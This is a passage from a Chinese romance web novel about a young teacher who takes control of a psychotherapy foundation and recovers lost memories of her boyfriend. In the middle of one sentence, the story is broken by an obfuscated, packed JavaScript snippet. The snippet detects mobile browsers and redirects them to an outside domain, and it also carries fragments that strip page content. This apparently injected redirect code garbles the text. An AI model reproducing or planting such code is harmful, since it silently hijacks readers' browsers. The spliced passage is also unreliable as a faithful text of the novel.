卓盈当然乐此不彼,陈夏柠找到她家的地址,母女俩的住宿条件也不太好,在筒子楼里。 陈夏柠跟着卓盈悄悄进她卧室。 彼时温可颜就静静躺在床上,听到妈妈说陈老师来看你了,她也不为所动。 陈夏柠没再叨扰,打了个手势示意出去说话。 卓盈坦言:“家里所有的刀子和利器都被我锁住了,她在医院也是这样,碍于住院费太贵,我就把她带回来了。” 陈夏柠:“但她现在这样并没有好转,长此以往只会更加抑郁。” 卓盈无奈叹气:“我好话赖话都说了,各种开导她,她都懒得理我,而且我目前积蓄不多,给她找心理康复院也一头雾水,有的太高了......” 陈夏柠当即应声:“您不用担心,这件事交给我。” 她摇摆不定顿时烟消云散,下定决心要保住暖夏。 后面的一周,陈夏柠全程跟着宋晏走遗产继承手续,为了避免跟陈京辉打照面,两人都是在外面的咖啡馆面谈。 - 那天上午,阳光熹微,基金会大楼前的白杨树影斑驳。 陈夏柠扎着低马尾,穿着一身黑色的西装西裤,推开会议室大门的那刻,身上再也看不见那个卑微怯弱的少女影子。 她和宋晏像两个不速之客,突然打断股东大会,陈京辉看见她顿时眉头紧锁。 除此之外,萧婷也来了,就坐在陈京辉旁边,厉声道:“保安都死了吗,还不给我轰出去!” 宋晏在基金会待了多年,关键时刻让保安听自己的话还是能做到的。 陈夏柠瞟了一眼萧婷,没有丝毫畏惧,反而“嚣张”地上台,夺过李阔年手里的话筒,坦然一笑:“各位,你们举办股东大会,怎么能少得了我这个理事长呢?” “......” 股东们纷纷交头接耳。 宋晏趁机把打印好的遗嘱复印件分发下去,边说:“陈夏柠小姐已经继承了陈淮松先生的遗嘱,不仅拥有基金会50%的股份,同时担任理事长一职。” 话音落,会议桌上一阵哗然。 陈京辉和李阔年脸色发青,只能强装镇定。 萧婷最先按捺不住了,更何况是自己一手调教的黄毛丫头,竟然敢当众骑在她头上,要造反了?! 她猛地拉开椅子起身,气势冲冲地走上讲台,也不讲道理了,先给一巴掌让她认清自己再说。 不料会议室又来了一个陌生男人,拉住了陈夏柠,将她护在怀里。 萧婷扬起的手臂扑了个空,更恼了,但在看清男人的长相时,脚步往后踉跄,狰狞的表情秒变愕然:“是你......” 会议室已经乱得不成样子,周祈越紧紧握着小姑娘的手,将她拉在身后,想起陈夏柠曾借酒消愁是因为被她扇了一巴掌,眼神厌恶地扫过萧婷,“请您自重。” ...... 陈夏柠当上理事长且是最大持股者,第一件事就是罢免李阔年和陈京辉所有的决策,让暖夏回归到原来的经营模式。 她其实对经营也不太懂,能看得出来宋晏真心在守护着暖夏,听从他的建议任人任用可靠人士经营基金会。 暖夏汇聚许多权威的心理医生,结合中西医,有自成一派的康复模式。 陈夏柠提交了蓓蓓和温可颜的资料,很快通过审核,两个女孩来到了疗养基地。 暖夏的疗养地是一个逃离城市喧嚣的小森林,里面种植着各类天然中药,糅和了音疗、冥想、徒步和焚香品茶等活动,景色和活动都充斥着“疗愈”两字。 这是一种通过亲近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15433599|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自然来返璞归真治愈患者的方式。 除了医生护工,来这里的几乎是孩子,未成年居多。 蓓蓓和温可颜的主治医生,陈夏柠分别给应尧和卓盈看他们的资料,履历确实丰富。 两位家长在和医生会谈,她脱身来到基地,脚步停在一片竹林小憩。 温可颜正靠在竹椅上,像一个没有生气的枯木,安静至极。 陈夏柠轻手轻脚走过去,坐在她旁边,自顾自地说着,不需要她的回应。 “我知道你现在心里有很多事想不明白,也有不甘心。” “但人生呢,不甘心不理解的事多了去了,想不通就不要想了,因为那些都不再重要,重要的是你自己。” “这段时间,你就好好在这里感受风声,享受日出日落,看路边不知名的小花,或许你会突然发现,前方还有更好的风景等着自己。” “......” 温可颜阖上眼,有气无力道:“是嘛。” 陈夏柠起身离开,两步一回头地走着。 医生说,她是产后抑郁。 曾经一个别人眼中漂亮的女学霸,因为一场恋爱堕落至此。 说到底,她也无法接受这样的自己。 - 陈夏柠的心理测评通过了审核,考虑到本科辅导员的岗位满了,学校就给她分配到研究生部,让她带研二的学生。 相比较本科生,研究生安分许多,没有那么多鸡毛蒜的事,陈夏柠的工作轻松了许多。 现在整个陈家都知道陈夏柠签署了遗嘱,起初萧婷和陈慧棠来基金会闹过几次,陈夏柠不客气地报警,她们也不敢来了。 周祈越始终放心不下,总觉得她们还会有动作,每天都坚持回家,白天也是经常消息轰炸她,有时候就相隔几分钟,他的消息又来了。 陈夏柠觉得周祈越过于神经质了:【七月,我现在上班回你的消息比学生和领导都要多。】 男朋友:【[抠鼻]怎么,嫌我烦了?】 备注是他让改的,之前一直默认用是他的网名,周祈越不忿地说,你男朋友就不配有个正儿八经的备注? 陈夏柠好笑地问,起什么名。 他回答,老公。 陈夏柠哼哧一声,你还不是,按照他现在的身份,旋即改成男朋友。 思绪回笼,陈夏柠瞄了眼办公室的同事,在新的办公室,旁边不再是鹿雯,而是研究生部不太熟、工作严谨的导员。 她摸鱼的心虚感袭上心头,不敢拿手机,敲着键盘在电脑上回复他。 【你不要担心啦,学校有警卫,外人进不来。下班了我也不在外面晃悠,我真的没事。】 【再说,你工作很闲吗,上班期间还能玩手机?】 周祈越拍了张照片发过来,学员在训练的场景。 男朋友:【目前工作的确不忙。】 Lemon:【你倒是提醒我了,院长还让我负责学院的飞行员项目。】 到了周六,她照例带学生去基地训练,沈屿山刚出任务回来,陈夏柠朝他摆手招呼。 沈屿山站在距离她十米远的地方,犹豫了半天,挠着头走近:“嫂子,跟你道个歉哈。” 陈夏柠头顶堆满问号。 “新闻出来那天,我以为是真的。”沈屿山惭愧地说,“但周祈越也刚经历九死一生,我害怕他接受不了双重打击,所以那天我藏了他手机,他也没给你发消息。” “事后才知道那天你打了几个电话给他......这件事是我欠考虑了,你们俩没因这事吵架吧?” 陈夏柠木了几秒,摇头:“没事啊,我俩好好的呢。” “那就好那就好。” 陈夏柠逮住重点:“他那天执行任务发生意外了?” 沈屿山一交代,倒是明白了周祈越为什么这么闲。 元旦过后复工那天,也就是他们吵架那天晚上,周祈越超负荷执行任务,差点害得全员丧命。 事后有人诟病他操作失误,扬言要给他停职,好在周祈越拿出一个U盘,上面记载了J-711的监控视频,不是他操作失误,而是乔书杰提前在主驾的脚蹬上做了手脚。 所以周祈越悬停J-711调整方向时,突遇脚蹬失灵,副驾的乔书杰控制自己的脚蹬,使得飞机安全降落,但耽误了搜救。 这事陈夏柠听得恼火,那个乔书杰果然不是省事的,跟应尧一样分不清主次,把个人恩怨带到工作上,完全不考虑他们的工作随时有丧命的危险。 陈夏柠跑到训练场找到周祈越,板着一张脸:“你为什么没告诉我你停飞了啊?” 这一刻,她完全能理解那种被瞒着的感觉了,怪不得当时周祈越生她的气。 周祈越瞄了眼学员们,把她拉到帐篷底下说话。 “当时在跟你闹脾气,再加上你的新闻突然爆出来了,很多事叠加在一起,就没来及说。” “况且就停飞一个月,现在可以开飞机了,但碍于我在休养,”他指了指自己的肩膀,“我继续选择停飞了。” 陈夏柠跟他面对面坐着,审视着他:“不是乔书杰害你的吗,为什么你还被惩罚了?” 有些规则,不是你清白了就安然无恙了。 周祈越好整以暇地看她,“也不算惩罚,只是给我和队长一点小教训,以后要合理安排,不要超负荷工作。” “白冀言也被停飞了?” 周祈越嗯了声:“他是队长,只要底下的队员有意外,他就得承担责任。” 陈夏柠恍然大悟:“明白了,这跟你当船长一个道理,连坐啊。” 周祈越笑笑:“对。” 陈夏柠:“我很好奇,乔书杰这么蠢吗,想陷害你不搞掉监控?” 周祈越眉梢微扬,扯了扯唇角:“他当然没那么蠢,但我也不傻。” “有了被陷害过的经历,我对同事呢,早就心怀戒备,尤其是知道乔书杰跟我不和,我怎么着也得防备一下。” 陈夏柠眨巴眨巴眼,周祈越会心一笑:“我在飞机上安装了隐形摄像头,你给我的灵感。” 她调动科研楼的隐形摄像头,倒让周祈越想起他也可以往飞机上搞一个这玩意儿,谁曾想真就发挥作用了。 乔书杰做事极为缜密,不是一下子搞坏J-711的脚蹬,而是松了一个零件,起初踩脚蹬察觉不到异样,但执行一趟任务下来,意外会悄无声息地发生。 周祈越有一点佩服他:“他这人聪明用错地方了。” 陈夏柠哼哧一声:“他被开了没?” “差不多,永久停飞,现在只能干后勤。” 不过才离开一会儿,操场上那群学员又开始偷懒了,周祈越急忙起身训他们,“你们几个,三十个俯卧撑!” “......” 陈夏柠去接待室里待着,给应尧打电话,催他赶快兑现诺言,还周祈越一个清白。 因为她觉得,周祈越不应该困在搜救局。 他本是迎都号的周船长啊。 他的征途是星辰大海。 应尧在电话里说:“你放心,我已经跟海洋局招供了,他们这几天就会发布公告。” - 每次来基地陪学生训练都要写新闻稿发学院公众号上,陈夏柠这次够迅速,写完之后是下午三点半。 训练场上挂着火红的太阳,学生们参加完滚轮训练,晕头转向又满头大汗,累得直接躺地上。 “天呐,这训练太魔鬼了。” “他妈谁当飞行员谁是大冤种。” 隔壁航海的学生喊话:“加上航海一个,大冤种本人,天天起得比鸡早,睡得比狗晚。” 周祈越抱着胳膊站在中间,听着这些抱怨声,戏谑道:“如果重回十八岁,你们还选航海和飞行么?” 陈夏柠悄悄地走过去,站在他身后,听他们说话。 有同学说:“如果有时光机,我一定穿回十七岁,给那个脑子抽的自己来一拳,我一定会选一个轻松一点的专业,比如文科类的啊,女生还多。” “切,你以为文科就好了嘛,”有人揶揄,“文科就业难啊。” “那咱这专业不愁找工作,但有几个能混成头部船长啊,大多都是干累死累活的工作。” “你选哪条路都会后悔。” 大家争执不下,有人将话题抛给周祈越,“学长,如果重来一次,你会选什么专业啊?” 周祈越正仰着头喝水,瘦凸的喉结一下又一下地翻滚,夕阳打在他脸庞,勾勒出流畅利落的曲线。 “我啊,还会选择这条路。”他拧好瓶盖,眸光坚定充满希冀,“从未后悔。” 陈夏柠心尖一颤。 人们常说,少年心气是不可再生之物。 可在周祈越身上,她总能看见一个少年的影子。 看见他心若灿阳,即使身处低谷,依然满怀希望。 十七岁的周祈越是什么样的呢? 她很想认识认识那个少年。 电光火石间,想起他的q.q相册,似乎有个高中纪念录。 还好上次把他的相册设为她可见,现在点开他的q.q就能访问他的相册了。 陈夏柠滑动屏幕往下拉,略过他同学的照片,找到几张他自己的。 那时候的他,白净稚嫩,阳光活泼,穿上白衬衫,一副人畜无害、清纯的男高形象。 还真让人心动。 越往下看,陈夏柠瞳孔聚焦,眼睛快要嵌在屏幕上。 她找到一个视频,现场好多人,应该是在livehouse。 周祈越站在舞台上拉着小提琴,慢慢走下台,镜头全程对准他。 画面一转,他来到了一个女生面前,将她拉到舞台中央,让她坐在钢琴的位置。 女生跟着他的节奏,双手落在琴键上,两人一并合奏。 台下的人热情欢呼。 陈夏柠整个人僵住,眼眶温热。 曾经她问自己,有没有见过十七岁的周祈越。 见过的,他们真真切切地见过的。 视频中的女生就是她。 101. 1007同学 隔日迎来周一。 每次接手新班级就有一堆琐事和烂摊子,陈夏柠一整天没闲着,直到下午办公室空荡起来,隔壁的冯老师走前喊了一声:“下班了。” 陈夏柠抽回神,点头应了声。 换岗的好处就是研究生没有早晚自习,导员也不用进班督促。 她伸了个懒腰,关掉电脑,拎着包走出办公室。 摁亮手机屏,微博弹窗弹出关注账号@中国海事大学转发//@海云市海洋局 点进去一看,两小时前海洋局发布了凌极号的调查结果。 新闻罗列了凌极号意外发生的经过,以及应尧的陈供,最后公开了一个私人拍摄的视频,是B国海警要登船时,周祈越以身为质的谈判场景。 可以看到底下舆论的扭转。 【原来是大副搞得幺蛾子啊,太歹毒了,这种人全行业封杀好吧。】 【凌极号能脱险是周船长用个人性命赌来的!这么一个长得帅还尽责的船长,他就是我偶像!】 【可怜了船长背锅这么久还被停职,万人血书求周船长赶快回来吧[哭]】 ...... 陈夏柠停在原地,长舒一口气,给周祈越发消息:【恭喜周祈越船长沉冤得雪[调皮]】 彼时夜幕将至,天际残留着一抹迤逦的橙红色光线。 操场上人声鼎沸,重金属音乐响彻云霄,是一年一度的音乐节。 陈夏柠顺着人流走过去,舞台下面设有教师专位,她坐在了前排,看着台上表演的乐队,思绪不由飘到天边云外。 这段故事要从她中考前参加商业晚宴开始。 在众人表演钢琴出错,有个男孩拉着小提琴及时救场,陈夏柠只远远地看他几秒,就被萧婷拉走了。 到了一楼大厅,萧婷遇到商业伙伴要寒暄几句,让女儿先坐在一边等她一会儿。 陈夏柠走到沙发区,百无聊赖地盯着地板,自顾自地玩起了跳方格。 “小柠檬。”一道悦耳的嗓音钻入耳畔,陈夏柠以为是在叫别人,头也不抬继续玩游戏。 “小柠檬。”这道声音再次响起,明晃晃的瓷砖上倒映出另一道人影。 陈夏柠这才抬头望去,男生摘下面具,深邃的眉眼挂着笑意。 她愣了一下,想起妈妈教的礼仪,恭敬地点了下头:“刚刚谢谢你帮我。” 男生神色一凛:“小柠檬,你......” “啊,你在叫我吗?”陈夏柠指了指自己,左看右看没有其他人,他好像就是在叫她。 男生眨了眨眼,表情和她一样茫然:“你,不认识我了?” 陈夏柠:“我,认识你,吗?” “......” 男生一时愣住,定定地瞧她,似是难以置信。 不知为什么,陈夏柠被他那双眼睛盯得心慌,讷讷道:“你认错人了吧。” 萧婷聊完天,朝她这边喊道:“夏夏走了。” “哦好。”陈夏柠跑过去牵妈妈的手,往前走着,回头看一眼男生。 后来这个男生的模样在脑海一闪而过,那是中考前班里看电影放松的时候,镜头切到男女主在海边玩耍,海浪的声响清晰地灌入耳膜。 陈夏柠好似也进入了一片海域,她浑身紧绷缩在桌子底下,额头泛起豆大的汗水,面色苍白。 她不理解,为什么会突然想起那个陌生男孩。 萧婷总爱拿她跟堂哥比较,中考的失利后,妈妈对她再次失望,变得更加严苛。 二中因为距离教育局近,不敢私自延长放学时间,每天下午四点学生就放学了。 但陈夏柠还要去钢琴班,每天都要去那个高楼大厦里跟老师学习,有时候坐在落地窗前俯瞰那些大街小巷里奔跑的少年少女,她觉得自己是笼中之鸟。 这只笼中鸟弹到手指麻木,也得不到老师的满意,以至于她开始对钢琴心生厌恶。 相比之下,隔壁教室经常传来老师对学生的赞扬。 周五那天下午,老师家庭有事提前结束课程,陈夏柠背起书包路过隔壁,当时教室的门敞开着,里面传来悠扬轻动的曲调。 原本烦闷的心情顿时轻快了起来,陈夏柠驻足在门口,悄悄探头看里面。 教室内安静空旷,窗外树影婆娑,方格玻璃铺满金色的夕阳。 彼时,他身着黑西裤白衬衫,身材笔挺地站在窗前,左肩架着小提琴,右手拿着琴弓忘我般拉着一首《Athousandyears》。 好像随风飘动的窗帘都在跟着他的曲调摇摆。 就连陈夏柠也被勾走了神一样,痴痴地望着少年的背影。 直到一曲落,少年放下小提琴,一转身看见趴门框的少女。 他眉梢微扬,戏谑道:“偷看我是要付钱的。” “......” 陈夏柠耳朵一热,语无伦次道:“我...不是故意.....”说着便放弃挣扎,“你要多少钱?” 少年:“......” 他举步朝她走过来,勾唇笑笑:“这么巧,又见面了。” 陈夏柠呆呆地挠了挠头:“我们之前,见过面吗?” 少年一怔,一字一顿道:“我叫周祈越。” 陈夏柠哦了声:“周七月。” “......” 周祈越神色复杂,就算她不是小柠檬,怎么会不记得他们五月份见过面的。 “你叫什么名字?” “陈夏柠。”她对上他那双眼睛,暗自惊叹好漂亮啊,“耳东陈,夏天的夏,柠檬的柠。” 周祈越拎起书包斜挎在肩膀,“走吧,请我喝奶茶。” 陈夏柠跟上追问:“为什么?” “你偷看了我,就当付钱了。” “......” 那天之后,陈夏柠发现周七月跟自己一样,每天都要来这里练琴。 如果她练习结束后能碰上面,周七月也要回家,刚好和她顺路。 一路上,他会带她吃各种小吃,那是陈夏柠平日接触不到但又非常搀的东西。 但他俩不是每天都能一起回去,因为江逸风也会隔三差五地来找她一起回家。 后来才知道,江逸风是因为每天要跟朋友打游戏很晚,但为了避免回家被父母数落,就以陪她练钢琴为由当挡箭牌。 只要是听到他俩待在一起,陈家和江家就不会多说什么,两人像是自动捆绑了娃娃亲。 高一上学期过半,萧婷为了磨练她那个内向不爱表现的性格,给她报名了电视台青少年才艺节目,让她表演钢琴。 陈夏柠拒绝不了,因为心理压力,连平日擅长的曲目都弹得乱七八糟。 那天,钢琴老师长叹一口气,无可奈何地说:“别练了,你调整下心态吧。” 钢琴室只剩她一个人,陈夏柠双手落在琴键上发出很闷的声响,周身的气压偏低,魂不守舍的。 完全没有察觉到脚步声,再回过神,少年已经坐在了她身旁。 “想哭就哭吧,我不会嘲笑你。” “周七月,我觉得自己好没用。”陈夏柠深感挫败,第一次当着他的面哭了起来,“钢琴弹不好,学习成绩提不高,我心态也很差,经常要去看心理医生......” “我真的好累,干什么都做不好。” 周七月给她掏纸巾,沉默了一会儿说:“等你哭完了带你去个地方。” “去哪?” 从音乐室出来,街道霓虹璀璨,两人奔跑着逃离那栋大厦,穿过大街小巷,来到Livehouse现场。 周七月带她进入后场,一个乐队的队长跟他招呼:“周少爷,等会有没有兴趣一起上啊。” “行啊。”周七月看她一眼,“带个朋友。” “好嘞。”队长跟她笑笑,“小妹妹想弹什么乐器?” 陈夏柠狂摇头:“你们玩吧,我就不去了。” “我会搞砸的。”她小声补充。 “那有什么,搞砸就搞砸呗,没人会指责你。”周七月云淡风轻地说,跟队长要了小提琴。 陈夏柠拉开帘子瞄了眼台下的观众,心里发怵。 “你们玩吧,我站在前排给你们加油。” 周七月没再劝她,他上场比较靠后,就先跟她一起进观众席。 演出一开始,观众们个个手持荧光棒挥舞着,周七月塞给她一个荧光发箍戴着,两人站在第一排充当氛围组。 起初陈夏柠僵硬得像个僵尸,逐渐被活跃的少年所感染,学着他的样子大笑酣唱。 十七岁的周祈越从来不是高冷范,他就像晨起的朝阳撕破了黑夜,朝气蓬勃,青春热烈。 照耀着身边的每一个人。 “你看,台上用的是架子鼓和吉他,其实乐器没有差别的,钢琴和小提琴不见得要配上古典的色调。”周围很吵,周七月凑到她耳边说,“音乐嘛,让大家开心最重要,完全不用那么死板。” 他的呼吸层层叠叠地喷洒在她耳廓,挠痒痒似的。 那一刻,他的嗓音变成了动听的音符,灌入少女跳动的心田。 舞台上的音响慢慢降下来,周七月挥舞着荧光棒跑向舞台中央,队员给他送上小提琴,紧接着场面完全被小提琴乐硬控。 亦或是他太有魅力,是台上的主角,陈夏柠目不转睛地望着台上的少年,为他鼓掌挥舞荧光棒。 随后他的目光也回应过来,踩着阶梯下台,当着所有人的面,少年伸出掌心邀请她。 当时她心里的小鹿乱撞,鬼使神差地搭上了他的手,被他牵着到舞台的钢琴入座。两人一对视,她选取了他谈过的那首《Athousandyears》。 那个夜晚,陈夏柠弹得最成功的一次,没有出丑也没有心理负担。 ...... 陈夏柠望着舞台上演奏的少年少女,不断闪回她和那个十七岁少年的模样。 原来,在很多次相遇里,她都义无反顾地对他动了心。 他那样的少年,怎么不值得心动呢。 当晚音乐节持续到十一点散场,陈夏柠回到家洗漱,十二点睡觉。 到了第二天,再打开手机,微博上又变了天。 周祈越的微博账号被广大网友扒出来了。 原因是很多网友很吃周祈越的颜值,在海大的微博账号下热议他本人,于是很多校友纷纷讲述他学生时代有多么优秀,还有跟他同届的同学亮出他们比赛的照片。 网友们顺藤摸瓜去海大超话里搜索周祈越的名字,出来一堆“首届校草”的词条,搜罗出多年前大家偷拍他上课的照片。 其中有一个热门的投票微博: 【那么多女生跟周校草表白,他都不为所动,要么他有地下女友了,要么就是他是男同。】 结果还真有人在这两个选项间投票。 少吃一点:【绝对有女友了!我宁愿相信他有女友了![抓狂]】 不想上早六:【他喜欢男的也行,彻底泯灭了你们这群花痴少女的妄想,你们连替补都没机会[狗头]。】 少吃一点@不想上早六:【太歹毒了你!你绝对长得不好看!嫉妒我们周校草!】 忙着可爱@不想上早六:【你的昵称绝对是航院的,航院到了周校草这一届才开始美男子层出,否则平日谁搭理你们这群丑男啊。[哼]】 不想上早六@少吃一点:【诶诶诶,搞什么人身攻击啊,哥不丑的好吧~_~】 评论区就这么吵起来 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现在这条微博底下涌入了许多不速之客。 【啊,为什么想哭[爆哭]】 【呜呜呜原来周学长有喜欢的人。】 【周学长这么优秀,也会爱而不得嘛。】 【暗恋不分人的。】 ...... 看到这里,陈夏柠心口一缩,鼻尖泛起酸涩,泪水啪啪地砸在了手机屏幕。 她今早没做饭,准备去学校食堂吃,捧着餐盘去找座位,碰见了在吃早餐的鹿雯和谢泽,招手示意她坐过来。 陈夏柠放下餐盘入座,夸赞了声谢泽:“学长这位男朋友当得可真称职,还专门来陪吃早餐呀。” “刚好今天空闲,送雯雯上班。”谢泽往鹿雯餐盘里放了个小笼包,料想她是不是心生羡慕了,“周祈越平日是不是很忙,我回头教训教训他,再忙也得陪陈老师啊!” 鹿雯停下筷子,怯生生问:“你俩没闹别扭吧?” 陈夏柠:“闹什么别扭?” 谢泽倒是耿直:“周祈越的微博啊,全网都知道他有个爱而不得的白月光了。哎,那其实就是学生时代流行的写信活动,都过了这么多年了,估计早就忘了。” 鹿雯附和道:“对啊对啊,这么多年,肯定放下了。” 陈夏柠一本正经瞧着劝和的两人,缓缓说:“我没吃醋,因为我就是那个1007同学。” 谢泽和鹿雯沉默了一瞬,一同应声:“卧槽!真的假的!” 陈夏柠点头如捣蒜:“真的,我是去年发现跟我写信的人一直是周祈越,从前慢书信活动也是受此灵感。” 鹿雯:“蛙趣,我就说吧,你俩这缘分天注定。” “原来周祈越的暗恋对象是你啊,还曾经借酒消愁来着。”谢泽至今都觉得不可思议,“话说,他怎么会选择暗恋呢?以前我们有喜欢的人,他都鼓励我们表白的,还说什么成不成功不重要,重要的是不能留遗憾。” “怎么到了自己这,他就畏畏缩缩地搞暗恋这一套?” “这也太不像周祈越了!” 陈夏柠眼底稍黯。 鹿雯像抓住了什么重点,推了一下谢泽,“听你这话,你学生时代也有喜欢的人咯,是谁啊?” 谢泽连忙狂摇头:“没有没有。” “分明就有!”鹿雯瞪着他,“快点,坦白!” “......” - 原以为自己拾起了所有记忆,哪曾想还有一段十六岁的回忆,在那个记忆碎片里陈夏柠和周七月的相处只有一个月。 后来他像个影子人,再也没出现在她面前,像是故意躲着她。 周五下午,提前结束工作,陈夏柠带着心中的那个疑问,打车来到暖夏,冲到了徐亮的办公室。 陈夏柠当上暖夏的理事长后,徐亮一直过着心惊肉跳的生活,生怕她利用自己的职位罢免他的职位。 出来混迟早要还的,该来的还是来了。 陈夏柠拉开椅子坐下,直勾勾的眼神好似一把利刃:“徐医生,接下来我问你的话,你最好如实回答,否则我让你身败名裂。” “......” 徐亮捏了一把冷汗,她能找来说明知道的差不多了,“你说。” “这么多年,你到底在跟我采取什么治疗?”陈夏柠想起中考后爸妈带她来找徐医生,然后再遇见周祈越,竟然不记得他们前不久见过面的。 “我为什么一次又一次地失忆,是不是你在捣鬼?” 徐亮点了下头,坦然招供:“你知道MECT么?” MECT全称无抽搐电休克治疗,对大脑进行一次放电,会让病人失去一段记忆。主要治疗抑郁症、精神分裂症、神经症、人格障碍、情感性精神障碍等精神疾病。 “恐惧症并不会直接引起失忆,在跟你催眠的过程中,我就知道你是因为遭受到某种打击,选择性忘记了小时候的记忆。”徐亮娓娓道来,“我跟萧女士说,等教会你直面恐惧,你大概就会想起曾经的事了。” “但萧女士说,不可以,你绝对不能想起小时候的记忆。” “相反,她还问我怎么能阻拦你恢复记忆,还能不头疼正常生活。” 陈夏柠大概明白这其中的缘由,“那你为什么要听她的,去干这种有损医德的事。” 徐亮沉声:“我因为我需要钱,我需要陈家的资金支持我的科研。” “哪怕让患者变成一个傀儡,你也觉得问心无愧是嘛!”陈夏柠眼眶一红,“MECT能用在我身上吗?”